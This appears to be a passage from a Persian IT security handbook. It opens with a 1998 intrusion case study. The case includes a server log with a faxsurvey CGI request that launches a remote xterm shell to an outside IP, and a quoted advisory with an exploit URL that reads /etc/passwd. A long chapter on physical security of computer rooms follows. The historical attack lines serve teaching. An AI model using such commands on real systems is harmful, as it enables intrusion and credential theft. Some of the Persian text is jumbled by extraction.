e%20/bin/sh 
DOCUMENT_ROOT=/htdocs/biz/captiva 
REMOTE_PORT=4801 
HTTP_USER_AGENT=Mozilla/4.0 (compatible; MSIE 4.01; Windows 98) 
HTTP_ACCEPT=application/vnd.ms-excel, application/msword, application/vnd. ms-powerpoint, 
*/* 
SCRIPT_FILENAME=/vni/cgi-bin/faxsurvey 
HTTP_HOST=www.captivacruises.com 
LOGNAME=http 
WINDOWID=8388621 
_=/bins 
REQUEST_URI=/cgi-bin/faxsurvey?/usr/X11R6/bin/xterm%20-display%20209.156. 
113.121:0.0%20-rv%20-e%20/bin/sh 
SERVER_SOFTWARE=Stronghold/2.2 Apache/1.2.5 C2NetUS/2002 
TERM=xterm 
HTTP_CONNECTION=Keep-Alive 
PATH=/usr/local/bin:/bin:/usr/bin:/usr/sbin 
HTTP_ACCEPT_LANGUAGE=en-us 
DISPLAY=209.156.113.121:0.0 
SERVER_PROTOCOL=HTTP/1.1 
HTTP_ACCEPT_ENCODING=gzip, deflate 
SHELL=/bin/tcsh 
REQUEST_METHOD=GET 
OSTYPE=bsdi3.1 
SERVER_ADMIN=mvol@vineyard.net 
SERVER_ROOT=/usr/local/apache 
TERMCAP=xterm|vi|xterm-ic|xterm-vi|xterm with insert character instead of insert mode: 
:al@:dl@:im=:ei=:mi@:ic=\E[@: :AL=\E[%dL:DC=\E[%dP:DL=\E[ 
%dM:DO=\E[%dB:IC=\E[%d@:UP=\E[%dA: :al=\E[L:am: :bs:cd=\E[J:ce=\ 
E[K:cl=\E[H\E[2J:cm=\E[%i%d;%dH:co#80: :cs=\E[%i%d;%dr:ct=\E[3k:   :dc 
SERVER_PORT=80 
SCRIPT_NAME=/cgi-bin/faxsurvey 
HOSTTYPE=i386 
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ه ك ـاز آنپـيش  ه دفتـر بوسـتون   ك ـ مطلع شد ISP.  قرباني با دفتر تجسس ديوان فدرال در بوستون تماس گرفت        ISPوذ،  پس از نف  
چون ميزان خـسارت بـه ايـن سـقف حـداقلي            . ند لازم است بيش از سقف هشت هزار دلار خسارت ديده باشد           كتحقيقاتي را شروع    

بهتر است   است، اما به دو دليل عمده        كهايي قابل در  وجود چنين حداقل  ه دليل   كعليرغم اين . نرسيده بود، هيچ تجسسي شروع نشد     
  :اينگونه نباشد

م ك ـ ح كثر ي ـ ك اخطاريه يا حدا   كن است با دريافت ي    كه مم كشود  ها توسط مهاجمان نسبتاً جوان هدايت مي      بسياري از حمله   •
ه بـه   ك ـنـد   كن مهاجمـان را تـشويق مـي       فقدان تجسس رسمي و پيگيري صـرفاً اي ـ       . نندكتعليق، چنين فعاليتهايي را متوقف      

 . جدي بدوششان بيفتدهايته مسئوليت خساركجرمهاي بزرگتر و بزرگتر بپردازند تا اين

مواجـه  ه معمولاً بـا عـدم توجـه سـايرين           ك در فعاليتهاي غيرقانوني ديگر       و ه مهاجم بسيار خبره باشد    كان وجود دارد    كاين ام  •
، دواير اجراي قوانين را به سـمت        كوچكشده از جرائم    ه بازرسيهاي انجام  كجود دارد   موارد زيادي و  . شود دست داشته باشد    مي

 ك ي ـ٥٠ليـف اسـتول  كه ك ـ سنتي باعث شـد  ۷۵ اختلاف حسابرسي    كبراي مثال ي  . رده است كجرائم بزرگ اقتصادي هدايت     
هاي تجاري و نظامي ايالات     يانهه سرانجام مشخص شد به دستور اتحاد جماهير شوروي به را          كند  كاي را رديابي    نفوذگر رايانه 
  ). آمده است٥٢"وكاكتخم مرغ " استول؛ ٥١"كلاسيكنفوذگر "ه جزئيات آن در نمايشنامه پليسي كداستاني . (رده استكمتحده نفوذ 

 حدود سه ماه قبـل از انجـام حملـه در گـروه      faxsurveyمربوط به   برنامة  قطعهپذيري در   وقتي مسئله روشن شد، معلوم شد آسيب      
سي خبـر  ك ـه ك را نخوانده بود، يا اينBugTraq پيامهاي گروه پستي ISPنان كاركسي از كيا .  گزارش شده بود BugTraqستي  پ

  : روي سيستم نصب شده استfaxsurveyمربوط به برنامة قطعهه كنداشت 

 
Date:  Tue, 4 Aug 1998 07:41:24 -0700 
Reply-To:  dod@muenster.net 
From:  Tom <dod@MUENSTER.NET> 
Subject:  remote exploit in faxsurvey cgi-script 

Hi! 

There exist a bug in the 'faxsurvey' CGI-Script, which allows an attacker to execute any 
command s/he wants with the permissions of the HTTP-Server. 

All the attacker has to do is type http://joepc.linux.elsewhere.org/cgi-
bin/faxsurvey?/bin/cat%20/etc/passwd in his favorite Web-Browser to get a copy of your 
Password-File. 

All S.u.S.E. 5.1 and 5.2 Linux Dist. (and I think also older ones) with the HylaFAX package 
installed are vulnerable to this attack. 

AFAIK the problem exists in the call of 'eval'. 

I notified the S.u.S.E. team (suse.de) about that problem. Burchard Steinbild <bs@suse.de> 
told me, that they have not enough time to fix that bug for their 5.3 Dist., so they decided to just 
remove the script from the file list. 

  :هاي زير را انجام داداريك تميزISPپس از تهاجم، 

                                                                                                                                            
50  Cliff Stoll 
51  Classic Hacker 
52  The Cuckoo's Egg 

https://telegram.me/karnil
www.karnil.com


 راهنماي امنيت فناوري اطلاعات ٢٧٨ 

پيگيـري  نيـاز بـه     ه  ك ـشف اين تخريب    كاين پشتيبان بعنوان شاهدي بر      . ها تهيه شد  ك پشتيبان فوري از همه ديس     ة نسخ كي •
 .نگهداري شدداشت 

 .هيچ فايلي پيدا نشد. شدپويش فايلهاي با مجوزهاي جديد بدنبال سيستم  •

ارمندان بتوانند به اين فايلهـا دسترسـي داشـته      كه تنها   ك طوري تغيير يافت     Cامپايلر  ك و   usr/include/دسترسيها در شاخه     •
 .نندكامپايل كهاي جديد را باشند و برنامه

در آنهـا  . مـشخص شـود  احتمالي  ات تا تغييرندمقايسه شد ديسکهاي فشرده   روي  اوليه   ةشدليدي با نسخه منتشر   كهاي  برنامه •
 .بودتغييري ايجاد نشده 

 .موردي پيدا نشد. مورد بررسي قرار گرفتند كوكبطور دستي براي فعاليتهاي اضافه مشثبت  فايلهاي ةهم •

 .رد لغو شدك را مسدود ميSplitRockه دسترسي به كمسيرياب ضابطة  هفته كپس از ي •
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  فصل سوم
  يكامنيت فيزي

  لياتك
؛ مثل ساختن سيستم اعلام خطـر، قفـل   شودانجام ميليد ك صفحهاز تايپ فرامين رويپيش ه  كارهايي است   ك ةهم" يكامنيت فيزي 

 ناپـذير منبع برق وقفه  هاي برق و    و مقسم ،   رايانه ةمجهز به دوربين مداربست   شده و   قفل ك روي منبع برق رايانه، اتاق     ليدك كردن ي ك
)UPS(اين فصل بسياري از تهديدهاي امنيـت       . دشوغالباً ناديده گرفته مي   ه مسئله بسيار مهمي است      كاينعليرغم  ي  كامنيت فيزي . ٥٣

 برخـورد بـا آنهـا ارائـه         ة و سرقت؛ و پيشنهاداتي براي نحـو       اريكدهد، از جمله خطرات محيطي، خراب     ي را مورد بحث قرار مي     كفيزي
  .ندك مي

  يكعناصر امنيت فيزي

  اول مردم 

. باشـد مقدم  ها يا تجهيزات مد نظر      مواره بايد بر داده   ه در شرايط اضطراري و سوانح، زندگي و ايمني پرسنل ه          كيد نيست   كنياز به تأ  
اه نبايد آنچه   ، اما هيچگ  )شرايط حساس نظامي  مثلاً در   (ن است در اين اصل استثناهاي بسيار محدودي هم وجود داشته باشد             كاگرچه مم 

  .قابل جايگزيني است از نظر دور داشته حقيقتاً غيركرا 

  هشد فراموشاتريزي براي تهديدبرنامه

ه دائمـاً مـورد دسـتبرد       ك كگذاري در نيويور  انون سرمايه ك كي. ي توجهي ندارند  كمال تعجب بسياري از سازمانها به امنيت فيزي       كبا  
رد تا از ورودهاي غيرمجاز در خلال روز جلـوگيري          كگذاري   آزمايشهاي امنيت رايانه سرمايه    ةدهها هزار دلار در زمين    گرفت  قرار مي 

نـد درهـاي   كامپيوتر را تميز مـي كه نظافتچي سالن  كشبها هنگامي مشکل آنجا است که     ه  كبه اين نتيجه رسيد     تي  اما بعد از مد   ند،  ك
هايش به صد هزار دلار از رايانهك روز تعطيل معادل بيش از يك در طول يSan Franciscoاي در مجله. گذارد آنرا باز ميورودي 

ار انـداختن سيـستم اعـلام    كردن درب ساختمان و از كبراي باز خود ي  كترونيكيد ال لكارت  ك از   انارمندك ي از كيچون   ،ندسرقت رفت 
 رفتـه   -ه سيستم اعلام خطر در آنجـا وجـود دارد           ك يي جا -اين فرد پس از ورود به ساختمان به موتورخانه          . رده بود كخطر استفاده   

  .بودرده كنهدم و مشيده كاز چاپگر دستگاه اعلام خطر بيرون نيز توب را كبود؛ و گزارش م

ه ك ـمي توانايي آنرا دارنـد      كسازمانهاي  . ل است كپيچيده يا مش  بسيار  ي  ك صحيح با امنيت فيزي    ةنند مواجه كساير سازمانها گمان مي   
 اما هرگز نبايد بـه      ؛نندكهاي تروريستي حفاظت    گذاريهاي بزرگ، يا بمب   لرزهاي، زمين هاي خود را از حملات هسته     دهندهسرويس

  .ريزي دقيق براي موارد ناگوار باز داريمآميز، سازمان را از انجام برنامهنثي شدن اين موارد فاجعه خةبهان
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يا مؤسـسات مختلـف، متفـاوت       پايگاهها  عملاً براي    - ها تهديدها، تجارب، و حفاظ    -شود  ميي شامل آنها    كه امنيت فيزي  ك مواردي
توانـد   و تنها مـي ندكهاي خاص را ارائه اي از توصيهتواند مجموعهاين فصل نميديگر تفاوت دارد،    پايگاه  با  پايگاه  چون هر   . هستند

  .بندي برنامه واقعي ارائه نمايد رويه پيشنهادي براي فرمولك فهرست از مسائل قابل ملاحظه، و يك نقطه شروع، يكي

  يك امنيت فيزيةبرنام

ي و سمت و سوي     كه نيازهاي فعلي امنيت فيزي    كتوب است   ك م ةام برن كبندي ي ي تأسيسات شما فرمول   كسازي فيزي اولين گام ايمن  
ايـن طـرح   . تـوب شـما باشـد   كي بايد بخشي از سياستهاي امنيتي م      ك فيزي ةآل، برنام بطور ايده . مورد نظر شما در آينده را نشان دهد       

بنابراين هدف از برنامه،    . قرار گيرد يز  ن توسط ساير اعضا خوانده شود، و بايد مورد تأييد مديريت ارشد سازمان              لازم است امل  كبراي ت 
  .ريزي و هم اتخاذ تدابير سياسي استهم برنامه

ه اين اقلام در آن مستقر هـستند، تهديـدهاي          كنيد، ارزش آنها، نقاطي     كه آنها را محفاظت مي    كهايي   امنيت شما بايد سرمايه    ةبرنام
ي از اقلام   كعنوان ي ه اطلاعات را ب   كنيد  كفراموش ن . ندكآنها را توصيف    شوند، و همچنين احتمال وقوع      ه با آنها مواجه مي    كاحتمالي  
 و  - امن شـما     ة حد و مرز ميان ساير قسمتهاي جهان و ناحي         -ه فضاي محيطي امنيت     ك لازم است همچنين  . بگيريد درنظر   سرمايه

. نيدكسازي اين طرحها را مشخص       پياده ةسازي آنها، و هزين   هاي دفاعي، طرحهاي مقاوم   هر حفره در فضاي محيطي، همراه با شيوه       
ت ك شـر  كآنرا براي ارزيابي به ي ـ     و مثلاً    نيد، به تدوين اين برنامه توجه زيادي نشان دهيد        كاگر تأسيسات حياتي خاصي را اداره مي      

 ـ   كر مـد  كطرح امنيت خود را ي ـ    . ريزي براي ترميم سوانح و ارزيابي خطر است بدهيد        ه تخصصش برنامه  كبيروني   شمار  حـساس ب
  .ست اترين نقاط دفاعي شما، حاوي اطلاعات مشروح در مورد ضعيفاتيطبيعت ذطبق اين طرح چراکه  ؛آوريد

  سوانح ترميم ةبرنام

صـورت  هاي پشتيبان در سيستمهاي جديد در     اي و بارگذاري نسخه    براي حفاظت فوري و موقت تجهيزات رايانه       لازم است همچنين  
بايـد  ايـن برنامـه همچنـين       .  است ٥٤طرح ترميم سوانح  اين برنامه موسوم به     . اي داشته باشيد  برنامه خود   هايسرقت يا خرابي رايانه   

يـا  مـشغول بـه کـار هـستيد و          ديـده   سانحهيک پايگاه   ه شما در    كحتي زماني به اين معني که     در بر بگيرد؛    نيز   امنيتي خود را     ياجزا
  .شوندرعايت همچنان ه اصول ايمني كاست  آل آن، ايدهنيدك سانحه ترميم ميكسيستم را از ي

هـاي   سيستم رايانه و تلاش براي احيـاي نـسخه  كردن يا قرض گرفتن يكي از اين برنامه را با اجاره       يمنظم بخشها  توانيد بطور مي
 جايگزين در   ه تسهيلات كنيد تا مطمئن شويد     كرا اجرا    ارزيابي   ةمتر تمام برنام  كبا تناوب   توانيد  همچنين مي . نيدكآزمايش  پشتيبان  

  .نندكار ميكدرست ه به آنها نياز داريد كدسترس هستند و زماني

  ساير احتمالات

  :نيدكن است بخواهيد تأثير موارد زير را روي عمليات خود مشاهده كر شد، ممكه ذكعلاوه بر اقلامي 

  هكتلفن يا اتصالات شبخدمات قطع 
  گذارد؟ثيري ميروي عمليات عادي شما چه تأاين خدمات و اتصالات قطع 

  ار فروشندهكتداوم 
توانيد بـه  ه شما نخواهيد خود را با آن وفق دهيد، آيا ميكپشتيباني چقدر اهميت دارد؟ اگر فروشنده تغيير شغل دهد يا تغييراتي دهد            

  افزاري ديگري منتقل شويد؟افزاري يا نرمسيستم سخت
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  ارمندانكغيبت قابل ملاحظه 
  گذارد؟ انجام عمليات شما تأثير ميآيا اين مسئله روي توانايي

   سازمانليديك عضو كيفوت، معلوليت، يا عزل 
  هاي احتمالي چيستند؟تواند جايگزين شود؟ برنامهاي شما ميآيا هر عضو سازمان رايانه

حفـظ اطلاعـات    . ند سـازماني باش ـ   ةهاي اقتضائي شـما در گـستر       برنامه متناسب با ترميم سوانح بايد    شده براي   انجام هايريزيبرنامه
  .متر مفيد خواهد بودك رد نباشدكار لازم براي تداوم عملمعمولاً حياتي است، ولي وقتي فضا، قدرت، يا ابز

  افزار رايانه حفاظت از سخت

شوهاي پـر از  ك ـه هنگام حفاظت ماشـين تحريـر، زيـورآلات يـا     ك رايانه بسياري از همان مسائلي را در بردارد      كي ي كحفاظت فيزي 
ه بسياري از   كاي است    دفتري وسيله  ة رايان كند، ي ك ماشين تحرير صدق مي    كه در مورد ي   كهمانطور  . شويم  ده با آن مواجه مي    پرون

 سارق آسـان  كلي فروش آنها براي يكها باارزش هستند و بطور مشابه زيورآلات، رايانه. داشته باشنددسترسي آن به بايد افراد دفتر  
 پشتيبان همراه با رايانه به سرقت رفتـه يـا           ة پشتيبان نداشته باشيد يا نسخ     ة مالي، اگر نسخ   كنوني و مدار  هاي قا مانند پرونده . است

 پشتيبان هـم داشـته باشـيد        ةحتي اگر نسخ  . قابل جايگزيني باشد  ن است غير  كايد مم ه از دست داده   كاطلاعاتي   - خراب شده باشد  
ه هميشه اين احتمـال وجـود   ك آخر اينةتكن. نيدكان قابل توجهي را صرف  سيستم جايگزين زمكهمچنان لازم است براي برپايي ي     

  .ار رودكه اطلاعات شما به سرقت رفته، عليه خود شما بكته كهمين نآگاهي از ه اطلاعات به سرقت رفته، يا تنها كدارد 

 منبـع  كي ـ.  تأثير محـيط خـود هـستند   اي بسيار تحتهاي رايانهها و رسانهه رايانهكند اين است كلات را بيشتر مي  كه مش كچيزي  
  .ن است براحتي بسوزدكاي رخ دهد ممي محل صاعقهك قدرت رايانه اگر به برق وصل باشد و در نزديةتغذي

بـسياري از ايـن     . ردك ـي حفاظت   كاي در مقابل خطرات فيزي    سيستمهاي رايانه از  توان  ه با اتخاذ آنها مي    كتدابير مختلفي وجود دارد     
  .نندكگران دروني محفاظت مي، افراد بيروني، و اخلاليطبيعبلاياي  را بصورت همزمان از حلها سيستمراه

  محيطي اتتهديدحفاظت در مقابل 
ن اسـت   ك ـبه هم خوردن اين تعادل مم     . املاً متعادلي نياز دارند   ك ي و محيط  كردن به شرايط فيزي   كار  كها معمولاً براي صحيح     رايانه

ار نامنظم  كن است به    كحتي بدتر از آن، رايانه مم     . منتظره و معمولاً ناخوشايند دچار خرابي شود      تي غير ه رايانه بصور  كباعث آن شود    
 .ند، و اطلاعات با ارزش را مخدوش نمايدكخود ادامه دهد، نتايج غلط توليد 

  آتش 

 از وجـود تجهيـزات       قاعـده مـستثني باشـد      شما از اين  رايانة  خواهيد  اگر مي . آورندم دوام مي  كها معمولاً در مقابل آتش بسيار       رايانه
 ةسيستمهاي تخلي ـ . نيدك خوب از آنها اطمينان حاصل       ةنان براي استفاد  كاركي محل و همچنين آموزش      كنشاني خوب در نزدي   آتش
  .گرفته شوند درنظر ه بايد به دقتكدام مزايا و معايبي دارند كاي هر  گاز و دستگاههاي آبپاش قطرهكاتوماتي

هـاي  كلاهكارگرهاي دود و    كه آش ـ ك ـنيـد   كاطمينان حاصل   . اندها هم محفاظت شده   شيك سيم ،هاه علاوه بر رايانه   ك مطمئن شويد 
و ) اذبكهاي غالباً در بالاي سقف(ابل كهاي سينيي درون   ه سيمها ك طوري نصب شده باشند      - اند اگر استفاده شده   - ايآبپاشهاي قطره 

  .پوشش دهندرا ابل كانالهاي كنيز 
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  ددو

هاي ك مغناطيـسي سـرباز، ديـس   كهاي ديسكاي قوي است و روي شاخدود ساينده . اي بسيار مخرب است   دود براي تجهيزات رايانه   
ه توسط ك بويژه آنهايي -هاي برقي سوزيآتش. شود خود رايانه توليد مي    ةگاهي اوقات دود بوسيل   . شودنوري و نوار گردانها جمع مي     
ند و كن است ساير تجهيزات را خراب كه مم كنند  كتوانند دودهاي تند و زننده توليد       اند مي  بوجود آمده  مبدلهاي مانيتورهاي ويدئويي  

  .خيزدها بر ميه از سيگارها و پيپكخطر مهم ديگر دودي است . نيز سمي يا سرطانزا باشد

اي هاي پلـه فكزير ارگرها در كاين آشه كنيد و مطمئن شويد ك نصب   ٥٥ارگر دود كآشاي وجود دارد،    ه تجهيزات رايانه  كدر هر اتاقي    
  .سي اجازه استعمال دخانيات ندهيدك خود به ةدر اتاق رايان. وجود دارندنيز اذب كو بالاي سقف 

  لرزهزمين

 بـسياري از آنهـا       و ريزنـد لرزه فرو مـي   برخي از ساختمانها در زمين    . ندك لرزشهاي موسمي را تجربه مي     ، قسمتهاي زمين  ةتقريباً هم 
 ـ ك ـايناحتمـال   توانـد   تاب در دفترتان مـي    كهاي  ها و قفسه   استقرار طاقچه  ةتوجه دقيق به نحو   . مانند  پا باقي مي  سر از  شـما  ه وه رايان

  .شديدترين سوانح جان سالم بدر بريد را افزايش دهد

 ـ هقفسروي   سنگين   ي پنجره و همينطور از قراردادن اشيا      كاز گذاشتن رايانه در ارتفاعات زياد يا نزدي        .  رايانـه بپرهيزيـد   كهاي نزدي
توانيد از پـيچ و مهـره،       ار مي كبراي اين . ردكمتصل  د  نه روي آن قرار دار    كبه سطحي   قرارداد يا   زير ميزهاي قوي    را  ها  رايانهتوان  مي

  ).ندك ميكمكار همچنين به جلوگيري از سرقت كانجام اين (.نيدكنوارهاي نگهدارنده، يا ساير وسايل استفاده 

  ين و بيشترين دمامترك

 ة درج ـ ۳۲ تـا    ۱۰اي بايـد در دمـايي بـين         اغلـب سيـستمهاي رايانـه     . ننـد كار مي ك خاصي از دما خوب      ةها مانند افراد در دامن    رايانه
 افيك ـ ةتواند به انـداز  شما خيلي بالا رود، رايانه نميةاگر دماي محيط اطراف رايان. نگهداري شوند )  درجه فارنهايت  ۹۰ تا   ۵۰(سلسيوس  
 حرارتـي وارد    كن است به سيستم شو    كاگر دما خيلي پايين بيايد مم     . آسيب ببينند  داخل آن    ين است اجزا  كند و مم  ك كخود را خن  

  .اف بردارندكشآن شود بردهاي مدار يا مدارهاي مجتمع امپيوتر روشن ميكشود و وقتي 

گيرهـا و الگـوي   بـه حـرارت  . ن باشند، آن دماها را برآوريدتوانند در نوسا دمايي مية در چه محدود هاه رايانه كرديد  كوقتي مشخص   
  .از آژيرهاي دما براي نظارت بر دماي محيط استفاده نماييد. نيدكهايتان توجه ويژه جريان هواي دستگاه

  يكتريكهاي الپارازيت

توانـد موجـب بـروز مـسايل        ه مي كنند  كي توليد مي  كتريكهاي ديگر، پارازيتهاي ال   ها، تجهيزات سنگين، و حتي رايانه     هكموتورها، پن 
 ـ    كتوانند از طريق فضا يا      اين پارازيتها مي  . نيد شود كه از آن استفاده مي    كاي  متناوب براي رايانه    محلتـان   كابلهاي انتقال بـرق نزدي

  .منتقل شوند

پذير باشد هر انكچنانچه ام. شوند يا چند پالس ولتاژ بالا ميكه شامل ي  كي هستند   كتريكي نوع خاصي از پارازيتهاي ال     كتريكامواج ال 
هيچ شرايطي  تحت   رايانه   كي.  قدرت ايزوله داشته باشد    صافي دستگاه   ك سيم زمين با ي    كي مجزا و ي   كتريك مدار ال  كرايانه بايد ي  

  .دور نگه داشته شوندها بايد از رايانه) از جمله تلفنهاي سيار(رساناهاي راديويي . ي داشته باشدك سنگين مدار اشترنبايد با وسايل برقيِ

  صاعقه

اگر صـاعقه بـه     . ندكي دارند را خراب     كتريكه وسايل حفاظت ال   كهايي  تواند رايانه ه حتي مي  كند  كصاعقه امواج بزرگ برق توليد مي     
مـسير   ميدان مغناطيـسي قـوي در        كتواند ي ، جريان حاصله مي   )برخورد نمايد آن  گير  يا به برق  (ند  كلت فلزي ساختمان شما اصابت      كاس
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انپـذير  كاري امك ـشيده شـوند؛ اگـر چنـين    ك ـ از پريز برق بيرون ايها بايد در خلال طوفانهاي صاعقهرايانه. ندكخود تا زمين ايجاد     
رد، ولـي  ك ـگرچه اين وسايل در مقابل برخورد مستقيم دستگاه را حفاظت نخواهنـد          . نيدك امواج استفاده    ةنيست از تجهيزات بازدارند   

.  فلـزي سـاختمان دور نگـاه داشـته شـوند           ةان از ساز  كالامهاي مغناطيسي بايد حتي   واسطه. نندك مي كمك باشند   وقتي طوفانها دور  
  .انالهاي فلزيك مگر داخل ،نيدكه استفاده نكابل مسي شبكهيچگاه بيرون ساختمان از 

  آب 

ه آب ميـان خطـوط   ك ـصورتي پيش خواهـد آمـد    درهكي است كتريكوتاه الكاولين خطر اتصال . ندك شما را نابود   ةتواند رايان آب مي 
  .ندك اتصال برقرار ، مدارة خط انتقال زمين صفحكحاوي ولتاژ و ي

آب همچنـين  . گـردد شوند جاري ميخارج ميکنترل ه از   كاي  آب معمولاً از باران يا سيل و گاهي اوقات از سيستمهاي آبپاش قطره            
نـشاني  ها، و يا از دپارتمان آتشاريكها در طبقات بالاتر، يا بر اثر خراب     شوئين است از جاهاي عجيب و غريب مانند سرريز دست         كمم

  .ندكجريان پيدا 

اي ه سالنهاي رايانه  كاي  حسگرهاي آب را روي زمين طبقه     . ه در معرض سيلاب هستند بيرون آوريد      كها را از طبقات زيرزمين      رايانه
  .نيدكصورت وقوع سيل استفاده  برق دركز آنها براي قطع اتوماتيا و نيدك اي نصبدر آن هست و همچنين زير طبقات پله

  هاغذا و نوشيدني

ايـن اتفـاق    . شـوند زند منتقل مـي   ه فرد به آن دست مي     كچسبند و از آنجا به هرچه        بويژه غذاهاي چرب به انگشتان افراد مي       غذاها
ي از سريعترين روشـهاي     كي. شود نوري را نيز شامل مي     هايكثيفي مانند نوارهاي مغناطيسي و ديس     كغالباً سطوح حساس نسبت به      

. هاي آن ريخته شـود    مهك فنجان قهوه روي د    كلي يا ي  ك نوشيدني غير ال   كه ي كليد روميزي اين است     ك صفحه   كار انداختن ي  كاز  
  ٥٦. دور نگهداريداي خودها را از سيستمهاي رايانه غذاها و نوشابهةهم: ترين هم هستترين قاعده ايمنلي سادهكدر حالت 

  ساير خطرات محيطي

  :بوجود بيايندخطرات محيطي ديگري نيز ن است كمم
 جارو برقـي مخـصوص      ك، و از ي   نگه داريد اي خود را از گرد و غبار تميز         ن است سالنهاي رايانه   كه مم ك تا آنجا    - گرد و غبار   •

 .تفاده نماييداري اسكهاي منظم زماني براي تميز بسيار ريز در بازهصافيامپيوتر با ك
را هاي ضد انفجـار     محفظهبايد  ه در آن خطر انفجار وجود دارد        كنيد  ك اگر مجبور هستيد از رايانه در محيطي استفاده          - انفجار •

 .هاي ضد انفجار و يا خارج از محوطه نگهداري شوندبايد در محفظهنيز هاي پشتيبان نسخه. بکار بريد
 .تان اقدامات مؤثر انجام دهيدت در سالن رايانهردن تعداد حشراك براي محدود - حشرات •
 ـ  ه دريچـه  كي يا نرم قراردهيد، طوري      ك زيرانداز لاستي  كها را روي ي    محيط با لرزش زياد، رايانه     ك در ي  - لرزش •  ةهـاي تهوي

 .نشده باشندهوا مسدود 
 .نترل نموده و در سطح مناسبي نگاه داريدكرا محيط  رطوبت - رطوبت •

  نترل محيطيك

لي، هـر   ك قاعده   كبعنوان ي . نيدكلات ناخواسته، به طور مداوم دما و رطوبت نسبي اتاق رايانه را نظارت و ثبت                ك تشخيص مش  براي
هـاي زمـاني   ايد را در بـازه ردهكآنچه ثبت .  فوت مربع از فضاي اداري بايد تجهيزات ثبت مخصوص به خودش را داشته باشد            ۱۰۰۰
  .نيدكگزارش و بررسي منظم 
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  ي كسترسي فيزينترل دك
 اما اين اتاق چه قدر ايمن است؟ گاهي اوقات اتاقي           ؛شده نگهداريد  اتاق قفل  كند رايانه خود را در ي     كم مي ك تشخيص به شما ح    ةقو
  .استناامن املاً كواقع رسد ايمن است در  ه به نظر ميك

  وتاهكهاي اي و سقفهاي پلهفك

 سـازي ايـن نـوع سـاختمان     . رسـند  نمـي  هـا فك و زير    هاتا بالاي سقف  اتاق  اي داخلي   در بسياري از ساختمانهاي اداري مدرن، ديواره      
  .ندكاتاقها و دفاتر مجاور ساده مياز دسترسي را 

  انالهاي هواكورود از طريق 

 ةورود به محوطتوانند از آنها براي افي بزرگ باشند، مهاجمين مي  كرساند به اندازه    ه به اتاق رايانه شما هوا مي      كانالهاي هوايي   كاگر  
ه داراي  ك ـانال بـزرگ    ك ك يا ي  كوچكانال  كد بايد از چند     ن زياد هوا دار   ةه نياز به تهوي   كمحيطهايي  . نندكهرچند ايمن شما استفاده     

در تـوان    محيط با امنيت خيلي زياد، مي      كدر ي . نندكباشد استفاده   انالها مي كهاي هوا يا داخل     هاي جوش داده شده به دريچه     توري
  .استفاده نمودنيز  يتكارسازهاي حركاز آشانالها ك داخل

  ايديوارهاي شيشه

 جـدي امنيتـي     اتتوانند خطر مياما  روند،  ار مي كهاي بزرگ معمولاً براي افزايش جلوه معماري ب       اي و پنجره  گرچه ديوارهاي شيشه  
توانـد  بـه طـرف پنجـره پرتـاب شـود مـي           ه  ك ـ بطري بنزين    ك آجر با ي   كشوند؛ ي سته مي كاي به راحتي ش   ديوارهاي شيشه . باشند

اي يا  ه در طرف ديگر ديوار شيشه     كتواند به سادگي از طريق تماشاي افرادي         مهاجم مي  كي. اي به بار آورد   خرابيهاي قابل ملاحظه  
ان ن اسـت بتـو    ك ـهمچنـين مم  . ندكسب  كرد سيستم   كپنجره هستند اطلاعاتي حياتي مانند رمزهاي عبور يا اطلاعاتي راجع به عمل           

ه بايـد  ك ـاي داخلـي بـراي اتاقهـايي    ديوارهاي شيشه.  مات را با تحليل امواج نور بازتابي آن بدست آورد ة صفح كاطلاعات پشت ي  
  .نيدكاز آنها اجتناب بايد موارد ديگر تمام در اما باشد خوب هستند؛ حفاظت شوند اما نگهبان مجاز به ورود نمي

  حفاظت در مقابل تخريب
هاي سياسي  شامل انتقام، آشوبها، اعتصابات، بيانيه    تواند  ميدلايل تخريب   . اي اهداف مناسبي براي تخريب هستند     سيستمهاي رايانه 

 را در خود جا داده است     ه آن ك يا ساختماني    -اي   سيستم رايانه  كاصولاً هر بخش ي   . باشدنابخردان  يا تنها سرگرمي براي     و  ري،  كفو  
  .پذير هستنددر عمل بعضي از اهداف بيش از سايرين آسيب. ن است هدف تخريب قرار بگيردكمم -

   هواةتهويمنافذ 

-ه نوشـابه ك ـ دانشجو ك بعدازظهر توسط ي   ك در تنها ي   ٥٧)MITدانشگاه  ( مؤسسه فناوري ماساچوست  اري در   ك ايستگاه ۶۰سالها قبل،   
  .اش را داخل سوراخهاي تهويه هواي هر رايانه ريخت خراب شدند

را افها  كش ـايـن   تـوان   نميبراي جلوگيري از اينگونه تخريبها      .  هوا هستند به آنها احتياج دارند      ة تهوي افهايكشي  ه دارا كهايي  رايانه
مـأمور يـا    كرا از طريـق ي ـ  سـاعته    ۲۴يا حفاظـت    يداً ممنوع نمود،    كرا ا  اتاق رايانه به  غذا و نوشيدني    بايد آوردن   ه  ك، بل ردكمسدود  

  .انجام دادتلويزيون مدار بسته 

                                                                                                                                            
57  Massachusetts Institute of Technology 

https://telegram.me/karnil
www.karnil.com


  نيامنيت فناوري اطلاعات و راهبران ف: بخش پنجم

 

٢٨٥  

ش
بخ

 
جم

پن
  

  هكهاي شبابلك

چـين   سـيم ك سيم با استفاده از يكاري را با قطع تنها ي   ك ايستگاههاي   ةكل زيرشب كتواند  در بسياري از موارد شخص تخريبگر مي      
شـوند  لتر ترميم مـي   ك، مش )توانند آسيب ببينند  آسانتر مي (پذيرتر هستند    آسيب Ethernetابلهاي فيبرنوري در مقايسه با      ك. ار بيندازد كاز  
  ).نندكمعمولاً اطلاعات بيشتري تبادل مي(، و اهداف جذابتري هستند )خورند هم پيوند ميسخت به(

ه در همان   كنيد  كشود؛ پس وقت و تلاش بيشتري صرف         در تأسيسات، بصورت دائمي استفاده مي      "موقت"هاي  شيكابلكمعمولاً از   
ه آنرا از محلهاي واجـد امنيـت     كه اين است    كابل شب ك ك ي  روش ساده براي حفاظت از     كي. ابل را بطور صحيح نصب نماييد     كابتدا  
اين شيوه علاوه بر حفاظـت در مقابـل         . تواند از ميان مجاري فولادي عبور داده شود        مي Ethernetبراي مثال   . ي عبور دهيم  كفيزي

 كصـورت وقـوع ي ـ  ا را درابلهاي شمكن است كت، و ممارساز اسكاي نيز هكهاي شبسمعتخريب، در حفاظت از بعضي انواع استراق   
.  رخ دهـد   كوچكهاي  ستگيكن است در آنها ش    كابلهاي فيبرنوري پا بگذارد مم    كسي روي   كاگر  . ندك هم حفظ    كوچكسوزي  آتش
  .شودابل ديده نميكش كل است، چون اثري از آن در روكستگي از اين نوع مشك شكردن يكپيدا 

